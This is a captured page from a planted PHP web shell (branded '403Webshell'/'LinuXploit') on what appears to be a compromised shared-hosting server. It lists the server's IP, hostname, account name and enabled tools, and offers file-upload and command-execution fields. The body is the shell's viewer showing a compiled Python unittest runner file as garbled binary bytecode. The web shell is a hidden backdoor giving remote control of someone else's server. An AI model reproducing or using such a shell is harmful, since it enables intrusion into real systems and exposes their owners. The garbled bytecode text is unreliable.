403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/unittest/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/unittest/runner.pyc
a

���ds�@sndZddlZddlZddlZddlmZddlmZdZGdd�de	�Z
Gd	d
�d
ej�ZGdd�de	�Z
dS)
z
Running tests�N�)�result)�registerResultTc@s*eZdZdZdd�Zdd�Zd	dd�ZdS)
�_WritelnDecoratorz@Used to decorate file-like objects with a handy 'writeln' methodcCs
||_dS�N)�stream)�selfr�r	�'/usr/lib64/python3.9/unittest/runner.py�__init__sz_WritelnDecorator.__init__cCs|dvrt|��t|j|�S)N)r�__getstate__)�AttributeError�getattrr)r�attrr	r	r
�__getattr__sz_WritelnDecorator.__getattr__NcCs|r|�|�|�d�dS�N�
)�write)r�argr	r	r
�writelns
z_WritelnDecorator.writeln)N)�__name__�
__module__�__qualname__�__doc__rrrr	r	r	r
r
srcs�eZdZdZdZdZ�fdd�Zdd�Z�fdd	�Z�fd
d�Z	�fdd
�Z
�fdd�Z�fdd�Z�fdd�Z
�fdd�Zdd�Zdd�Z�ZS)�TextTestResultzhA test result class that can print formatted text results to a stream.

    Used by TextTestRunner.
    zF======================================================================zF----------------------------------------------------------------------cs8tt|��|||�||_|dk|_|dk|_||_dS)Nr)�superrrr�showAll�dots�descriptions)rrr�	verbosity��	__class__r	r
r%s


zTextTestResult.__init__cCs0|��}|jr$|r$d�t|�|f�St|�SdSr)�shortDescriptionr�join�str)r�test�doc_first_liner	r	r
�getDescription,s
zTextTestResult.getDescriptioncsBtt|��|�|jr>|j�|�|��|j�d�|j��dS)Nz ... )rr�	startTestrrrr'�flush�rr%r r	r
r(3s
zTextTestResult.startTestcsNtt|��|�|jr.|j�d�|j��n|jrJ|j�d�|j��dS)N�ok�.)	rr�
addSuccessrrrr)rrr*r r	r
r-:szTextTestResult.addSuccesscsPtt|��||�|jr0|j�d�|j��n|jrL|j�d�|j��dS)N�ERROR�E)	rr�addErrorrrrr)rr�rr%�errr r	r
r0CszTextTestResult.addErrorcsPtt|��||�|jr0|j�d�|j��n|jrL|j�d�|j��dS)N�FAIL�F)	rr�
addFailurerrrr)rrr1r r	r
r5LszTextTestResult.addFailurecsVtt|��||�|jr6|j�d�|��|j��n|jrR|j�	d�|j��dS)Nz
skipped {0!r}�s)
rr�addSkiprrr�formatr)rr)rr%�reasonr r	r
r7UszTextTestResult.addSkipcsPtt|��||�|jr0|j�d�|j��n|jrL|j�d�|j��dS)Nzexpected failure�x)	rr�addExpectedFailurerrrr)rrr1r r	r
r;^sz!TextTestResult.addExpectedFailurecsNtt|��|�|jr.|j�d�|j��n|jrJ|j�d�|j��dS)Nzunexpected success�u)	rr�addUnexpectedSuccessrrrr)rrr*r r	r
r=gsz#TextTestResult.addUnexpectedSuccesscCs@|js|jr |j��|j��|�d|j�|�d|j�dS)Nr.r3)rrrrr)�printErrorList�errors�failures�rr	r	r
�printErrorsps


zTextTestResult.printErrorscCsb|D]X\}}|j�|j�|j�d||�|�f�|j�|j�|j�d|�|j��qdS)Nz%s: %sz%s)rr�
separator1r'�
separator2r))r�flavourr?r%r2r	r	r
r>wszTextTestResult.printErrorList)rrrrrCrDrr'r(r-r0r5r7r;r=rBr>�
__classcell__r	r	r r
rs						rc@s4eZdZdZeZd
dd�dd�Zd	d
�Zdd�ZdS)�TextTestRunnerz�A test runner class that displays results in textual form.

    It prints out the names of tests as they are run, errors as they
    occur, and a summary of the results at the end of the test run.
    NTrF)�	tb_localsc	CsN|durtj}t|�|_||_||_||_||_||_||_	|durJ||_
dS)z�Construct a TextTestRunner.

        Subclasses should accept **kwargs to ensure compatibility as the
        interface changes.
        N)�sys�stderrrrrr�failfast�bufferrH�warnings�resultclass)	rrrrrKrLrNrMrHr	r	r
r�s
zTextTestRunner.__init__cCs|�|j|j|j�Sr)rNrrrrAr	r	r
�_makeResult�szTextTestRunner._makeResultcCsl|��}t|�|j|_|j|_|j|_t����|jr^t�|j�|jdvr^tjdt	dd�t
��}t|dd�}|dur�|�z&||�Wt|dd�}|dur�|�nt|dd�}|dur�|�0t
��}Wd�n1s�0Y||}|�
�t|d��r|j�|j�|j}|j�d	||d
k�r4d�p6d|f�|j��d
}	}
}ztt|j|j|jf�}Wnt�y�Yn0|\}	}
}g}
|���s�|j�d�t|j�t|j�}}|�r�|
�d|�|�r�|
�d|�n|j�d�|�r
|
�d|�|	�r|
�d|	�|
�r2|
�d|
�|
�rR|j�dd�|
�f�n|j�d�|j��|S)z&Run the given test case or test suite.)�default�always�modulezPlease use assert\w+ instead.)�category�message�startTestRunN�stopTestRunrDzRan %d test%s in %.3fsrr6�r�FAILEDzfailures=%dz	errors=%d�OKz
skipped=%dzexpected failures=%dzunexpected successes=%dz (%s)z, r) rOrrKrLrHrM�catch_warnings�simplefilter�filterwarnings�DeprecationWarning�time�perf_counterrrB�hasattrrrrD�testsRun�map�len�expectedFailures�unexpectedSuccesses�skippedr
�
wasSuccessfulrr@r?�appendr#r))rr%r�	startTimerUrV�stopTime�	timeTaken�run�
expectedFailsrerf�results�infos�failed�erroredr	r	r
rl�s�

�
�&�
�



zTextTestRunner.run)NTrFFNN)	rrrrrrNrrOrlr	r	r	r
rG�s��rG)rrIr^rMrWr�signalsr�
__unittest�objectr�
TestResultrrGr	r	r	r
�<module>sc

Youez - 2016 - github.com/yon3zu
LinuXploit